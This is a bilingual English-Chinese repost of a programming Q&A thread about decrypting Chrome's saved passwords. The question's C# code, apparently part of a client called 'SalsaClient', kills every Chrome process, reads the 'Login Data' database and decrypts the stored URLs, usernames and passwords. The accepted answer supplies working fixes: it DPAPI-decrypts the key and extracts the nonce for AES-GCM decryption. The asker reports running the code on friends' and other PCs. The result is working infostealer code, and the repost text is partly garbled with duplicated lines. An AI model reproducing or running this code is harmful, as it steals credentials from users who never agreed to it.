[英]System.Security.Cryptography.CryptographicException: "The parameter is incorrect" / Aes 256 Gcm Decryption
I've had the same issue for two days now: System.Security.Cryptography.CryptographicException: The parameter is incorrect我已经有同样的问题两天了: System.Security.Cryptography.CryptographicException: The parameter is wrong
in System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope scope)在 System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope 范围)
I used this project for my code: https://github.com/jabiel/BrowserPass/tree/master/BrowserPass我将这个项目用于我的代码: https : //github.com/jabiel/BrowserPass/tree/master/BrowserPass
In that project the error should be in ChromePassReader.cs, line 42 I guess.在那个项目中,错误应该在 ChromePassReader.cs 中,我猜是第 42 行。
Everything was working properly on my computer, a friend of mine made me try it on his computer and it's not working for him.在我的电脑上一切正常,我的一个朋友让我在他的电脑上尝试,但对他不起作用。 I have tried also on other PCs, but without success.
我也在其他电脑上尝试过,但没有成功。
Most suitable answer (proposed by Topaco): The type of decryption I'm using is useful for Data Encrypted with DPAPI.最合适的答案(由 Topaco 提出):我使用的解密类型对于使用 DPAPI 加密的数据很有用。 Since v80.0 or later Chrome version, password data are encrypted using Aes 256 Gcm, so:
从 v80.0 或更高版本的 Chrome 版本开始,密码数据使用 Aes 256 Gcm 加密,因此:
Update更新
I tried writing a code to decrypt AesGcm256 Password data.我尝试编写代码来解密 AesGcm256 密码数据。 I get the user data from the database, located in Google Chrome folders, called Login Data.
我从名为 Login Data 的 Google Chrome 文件夹中的数据库中获取用户数据。 Then I should decrypt the password I get from there using AesGcm256 Decryption, but I'm not able to do it.
然后我应该使用 AesGcm256 Decryption 解密我从那里获得的密码,但我无法做到。 This is my attempt:
这是我的尝试:
Where I get URLs, Usernames, Passwords:我在哪里获得 URL、用户名、密码:
using System;
using System.Collections.Generic;
using System.Net;
using System.Data.SQLite;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.IO;
using System.Security.Cryptography;
using System.Diagnostics;
using SalsaClient.Algorithm;
namespace SalsaClient.CDS
{
class ChromePassReader : IPassReader
{
public string BrowserName { get { return "Chrome"; } }
private const string LOGIN_DATA_PATH = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
public IEnumerable<CredentialModel> ReadPasswords()
{
var result = new List<CredentialModel>();
var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
var p = Path.GetFullPath(appdata + LOGIN_DATA_PATH);
if (File.Exists(p))
{
Process[] chromeInstances = Process.GetProcessesByName("chrome");
foreach (Process proc in chromeInstances)
proc.Kill();
using (var conn = new SQLiteConnection($"Data Source={p};"))
{
conn.Open();
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
using (var reader = cmd.ExecuteReader())
{
if (reader.HasRows)
{
while (reader.Read())
{
var pass = AesGcm256.decrypt(GetBytes(reader, 2)); //encrypted data
result.Add(new CredentialModel()
{
Url = reader.GetString(0),
Username = reader.GetString(1),
Password = pass
});
}
}
}
}
conn.Close();
}
}
else
{
throw new FileNotFoundException("Cannot find chrome logins file");
}
return result;
}
private byte[] GetBytes(SQLiteDataReader reader, int columnIndex)
{
const int CHUNK_SIZE = 2 * 1024;
byte[] buffer = new byte[CHUNK_SIZE];
long bytesRead;
long fieldOffset = 0;
using (MemoryStream stream = new MemoryStream())
{
while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0)
{
stream.Write(buffer, 0, (int)bytesRead);
fieldOffset += bytesRead;
}
return stream.ToArray();
}
}
}
}
Algorithm:算法:
using Newtonsoft.Json;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace SalsaClient.Algorithm
{
class AesGcm256
{
public static string GetKey()
{
string sR = string.Empty;
var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
string v = File.ReadAllText(path);
dynamic json = JsonConvert.DeserializeObject(v);
string key = json.os_crypt.encrypted_key;
byte[] src = Convert.FromBase64String(key);
byte[] encryptedKey = src.Skip(5).ToArray();
byte[] data = Convert.FromBase64String(encodedString);
string decodedString = Encoding.UTF8.GetString(data);
byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
}
public static string decrypt(string EncryptedText, byte[] key, byte[] iv)
{
string sR = string.Empty;
try
{
byte[] encryptedBytes = Convert.FromBase64String(EncryptedText);
GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);
cipher.Init(false, parameters);
byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
cipher.DoFinal(plainBytes, retLen);
sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine(ex.StackTrace);
}
return sR;
}
}
}
Unfortunately you didn't describe what exactly doesn't work.不幸的是,您没有描述到底什么不起作用。 However, most of the code seems to be implemented correctly.
但是,大部分代码似乎都正确实现了。 In some parts a few minor changes and additions are necessary:
在某些部分,需要进行一些小的更改和添加:
The DPAPI decryption of the AES key takes place in SalsaClient.Algorithm.AesGcm256.GetKey()
. AES 密钥的 DPAPI 解密发生在
SalsaClient.Algorithm.AesGcm256.GetKey()
。 Here the return statement is missing.这里缺少 return 语句。 The return value is of type
string
.返回值的类型是
string
。 Since the key generally consists of arbitrary binary data, a suitable encoding like Base64 or hexadecimal should be used if the data are to be returned as string.由于密钥通常由任意二进制数据组成,如果数据要作为字符串返回,则应使用合适的编码,如 Base64 或十六进制。 Alternatively, the key can be returned as
byte[]
, as in the following adaption:或者,密钥可以作为
byte[]
返回,如下面的改编:
public static byte[] GetKey() { string sR = string.Empty; var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA var path = Path.GetFullPath(appdata + "\\\\..\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Local State"); string v = File.ReadAllText(path); dynamic json = JsonConvert.DeserializeObject(v); string key = json.os_crypt.encrypted_key; byte[] src = Convert.FromBase64String(key); byte[] encryptedKey = src.Skip(5).ToArray(); byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser); return decryptedKey; }
Next, SalsaClient.CDSChromePassReader#ReadPasswords()
must be modified slightly:接下来,必须稍微修改
SalsaClient.CDSChromePassReader#ReadPasswords()
:
Overall:总体:
... byte[] key = AesGcm256.GetKey(); while (reader.Read()) { byte[] encryptedData = GetBytes(reader, 2); byte[] nonce, ciphertextTag; AesGcm256.prepare(encryptedData, out nonce, out ciphertextTag); string pass = AesGcm256.decrypt(ciphertextTag, key, nonce); ... } ...
The determination of nonce and actual ciphertext is performed in the new method SalsaClient.Algorithm.AesGcm256.prepare()
. nonce 和实际密文的确定在新方法
SalsaClient.Algorithm.AesGcm256.prepare()
。 At this point the information from the linked article is needed: The data associated with a password consists of the following parts:此时需要链接文章中的信息:与密码相关的数据由以下部分组成:
v10 (0x763130)
.v10 (0x763130)
的 ASCII 编码。
The actual ciphertext and the authentication tag don't need to be separated, because the C#/BC implementation of AES-GCM processes both parts together:实际密文和认证标签不需要分开,因为 AES-GCM 的 C#/BC 实现将这两个部分一起处理:
public static void prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag) { nonce = new byte[12]; ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length]; System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length); System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length); }
Since the encrypted data (actual ciphertext and authentication tag) are in binary format, it's more convenient to pass these data to SalsaClient.Algorithm.AesGcm256.decrypt()
as byte[]
and not as string
:由于加密数据(实际密文和认证标签)是二进制格式,将这些数据作为
byte[]
而不是string
传递给SalsaClient.Algorithm.AesGcm256.decrypt()
更方便:
public static string decrypt(byte[] encryptedBytes, byte[] key, byte[] iv) { string sR = string.Empty; try { GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine()); ...
The decrypted data are trimmed in the posted code at the end (line breaks and 0-values).解密的数据在最后发布的代码中被修剪(换行符和 0 值)。 Actually this shouldn't be necessary.
其实这不应该是必要的。 But maybe you have special reasons for this.
但也许你有特殊的原因。
At this point all necessary changes have been made.此时,所有必要的更改都已完成。 The decryption of the passwords is then accomplished by executing in the
Main
method:然后通过在
Main
方法中执行来完成密码的解密:
SalsaClient.CDS.ChromePassReader chromePassReader = new SalsaClient.CDS.ChromePassReader(); IEnumerable<CredentialModel> credentialList = chromePassReader.ReadPasswords();
With this code I can decrypt the Chrome passwords on my machine (whereby my DB exclusively contains AES-GCM encrypted passwords).使用此代码,我可以解密我机器上的 Chrome 密码(因此我的数据库只包含 AES-GCM 加密密码)。 Note, however, that not all passwords have to be AES-GCM encrypted.
但请注意,并非所有密码都必须经过 AES-GCM 加密。 Old passwords (from before v80) can still be DPAPI encrypted.
旧密码(从 v80 之前)仍然可以被 DPAPI 加密。 Of course, they cannot be decrypted in the described way, but must be DPAPI decrypted.
当然,它们不能以所描述的方式解密,而必须是 DPAPI 解密的。 As mentioned above, passwords encrypted with AES-GCM can be identified by the fact that they start with the ASCII encoding of
v10 (0x763130)
.如上所述,使用 AES-GCM 加密的密码可以通过以下事实来识别:它们以
v10 (0x763130)
的 ASCII 编码v10 (0x763130)
。 Maybe you need to add a corresponding case distinction to your code (at least if DPAPI encrypted passwords are still stored in the DB).也许您需要在您的代码中添加相应的大小写区别(至少如果 DPAPI 加密的密码仍然存储在 DB 中)。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.